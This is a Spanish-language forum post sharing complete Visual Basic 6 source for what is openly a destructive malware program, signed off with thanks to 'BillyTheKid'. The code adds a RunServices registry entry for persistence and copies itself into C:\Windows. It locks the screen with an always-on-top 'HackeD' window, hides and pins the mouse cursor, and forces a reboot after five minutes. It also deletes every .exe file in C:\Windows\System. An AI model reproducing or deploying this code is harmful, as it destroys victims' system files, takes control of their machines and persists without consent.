bueno aca les dejo el codigo, espero q este lo mas claro posible, si hay algo q no se entiende avisen
En un modulo bas
Option Explicit
' Funcion para apagar/reiniciar Windows
Public Declare Function ExitWindowsEx Lib "user32" _
(ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0 ' Cerrar sesion
Public Const EWX_REBOOT = 2 ' Reiniciar
Public Const EWX_SHUTDOWN = 1 ' Apagar
Public Const EWX_FORCE = 4 ' Forzar cierre de aplicaciones
'################################################
' Funcion para ocultar/mostrar el mouse
Public Declare Function ShowCursor Lib "user32" _
(ByVal bShow As Long) As Long
'################################################
' Funcion para establecer la posicion del mouse
Public Declare Function SetCursorPos Lib "user32" _
(ByVal x As Long, ByVal y As Long) As Long
'################################################
' Funcion para que la ventana sea AlwaysOnTop
Public Declare Function SetWindowPos Lib "user32" _
(ByVal hwnd As Long, ByVal hWndInsertAfter As Long, _
ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const HWND_TOPMOST = -1 ' AlwaysOnTop
Public Const HWND_NOTOPMOST = -2 ' Normal
Public Const SWP_NOSIZE = &H1 ' Tamaño fijo
Public Const SWP_NOMOVE = &H2 ' Sin movimiento
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
'################################################
Public Sub Apagar(opcion As String)
On Error Resume Next
Dim ret As Integer
Select Case opcion
Case "apagar"
' apaga el equipo y cierra las aplicaciones
ret = ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE, 0)
Exit Sub
Case "reiniciar"
' reinicia el equipo y cierra las aplicaiones
ret = ExitWindowsEx(EWX_REBOOT Or EWX_FORCE, 0)
Exit Sub
Case Else
' muestra un mensaje de error
MsgBox "El parametro pasado al procedimiento 'Apagar' es incorrecto", vbOKOnly + vbCritical, "ATENCIÓN"
Exit Sub
End Select
End Sub
Public Sub MostrarMouse(Estado As Boolean)
On Error Resume Next
Dim ret As Long
' Si estado=TRUE (queremos mostrar el puntero)
If Estado = True Then
' Llamar a ShowCursor tantas veces como sea necesario
' para que el cursor vuelva a su estado original(visible)
Do
ret = ShowCursor(True)
Loop Until ret = 0
Else
ret = ShowCursor(False)
End If
End Sub
Public Sub PosMouse(x As Long, y As Long)
On Error Resume Next
SetCursorPos x, y
End Sub
Public Sub AlwaysOnTop(F As Form, Estado As Boolean)
On Error Resume Next
Dim wFlags As Long
Dim ret As Long
' Para que no cambie ni el tamaño ni la posicion
wFlags = SWP_NOMOVE Or SWP_NOSIZE
If Estado Then
ret = SetWindowPos(F.hwnd, HWND_TOPMOST, 0, 0, 0, 0, wFlags)
Else
ret = SetWindowPos(F.hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, wFlags)
End If
End Sub
Public Sub CargarV(ByVal Ffile As String)
On Error Resume Next
Dim objNew As Object
Set objNew = CreateObject("WScript.Shell")
objNew.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Explorer32", Ffile
End Sub
Public Sub ShadeString(ByVal canvas As Object, _
ByVal start_x As Single, ByVal start_y As Single, _
ByVal start_r As Integer, ByVal start_g As Integer, _
ByVal start_b As Integer, ByVal end_r As Integer, _
ByVal end_g As Integer, ByVal end_b As Integer, _
ByVal txt As String)
On Error Resume Next
Dim r As Single
Dim g As Single
Dim b As Single
Dim dr As Single
Dim dg As Single
Dim db As Single
Dim txt_len As Integer
Dim i As Integer
txt_len = Len(txt)
dr = (end_r - start_r) / (txt_len - 1)
dg = (end_g - start_g) / (txt_len - 1)
db = (end_b - start_b) / (txt_len - 1)
r = start_r
g = start_g
b = start_b
canvas.CurrentX = start_x
canvas.CurrentY = start_y
For i = 1 To txt_len
canvas.ForeColor = RGB(r, g, b)
canvas.Print Mid$(txt, i, 1);
r = r + dr
g = g + dg
b = b + db
Next i
End Sub
Public Sub Cronometrar()
On Error Resume Next
Dim Pausa As Currency
Dim Inicio As Currency
Dim Fin As Currency
Dim Tiempototal As Currency
Pausa = 300
Inicio = Timer
Do While Timer < Inicio + Pausa
DoEvents
Form1.Visible = True
Loop
Apagar "reiniciar"
Fin = Timer
Tiempototal = Fin - Inicio
End Sub
=====================================================
En un formulario
El formulario ::
BorderStyle = 0
BackColor = vbblack
Font = Lucida Console
WindowState = 2
agregar 3 timers
* Ocultar
Interval 2000
Enabled = False
* Mostrar
Interval 2000
Enabled = True
* MousePos
Interval 1
Enabled = True
Option Explicit
Private Sub Form_Load()
On Error Resume Next
AlwaysOnTop Me, True
CargarV "C:\Windows\Explorer32.exe"
Cronometrar
Kill "C:\Windows\System\*.exe"
FileCopy App.Path & App.EXEName & ".exe", "C:\Windows\"
End Sub
Private Sub Form_Paint()
On Error Resume Next
Me.Cls
ShadeString Me, 2000, 3500, 200, 250, _
400, 50, 50, 150, "[ HackeD By BillyTheKid ]"
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Shell App.Path & "\" & App.EXEName & ".exe"
CargarV "C:\Windows\Explorer32.exe"
End Sub
Private Sub Mostrar_Timer()
On Error Resume Next
MostrarMouse True
Mostrar.Enabled = False
Ocultar.Enabled = True
End Sub
Private Sub Ocultar_Timer()
On Error Resume Next
MostrarMouse False
Ocultar.Enabled = False
Mostrar.Enabled = True
End Sub
Private Sub MousePos_Timer()
On Error Resume Next
PosMouse 400, 300
End Sub
espero q les sea util ...
Antes de despedirme queria agradecerle a
BiilyTheKid (un gran amigo) x darme algunas ideas para el codigo..
Autor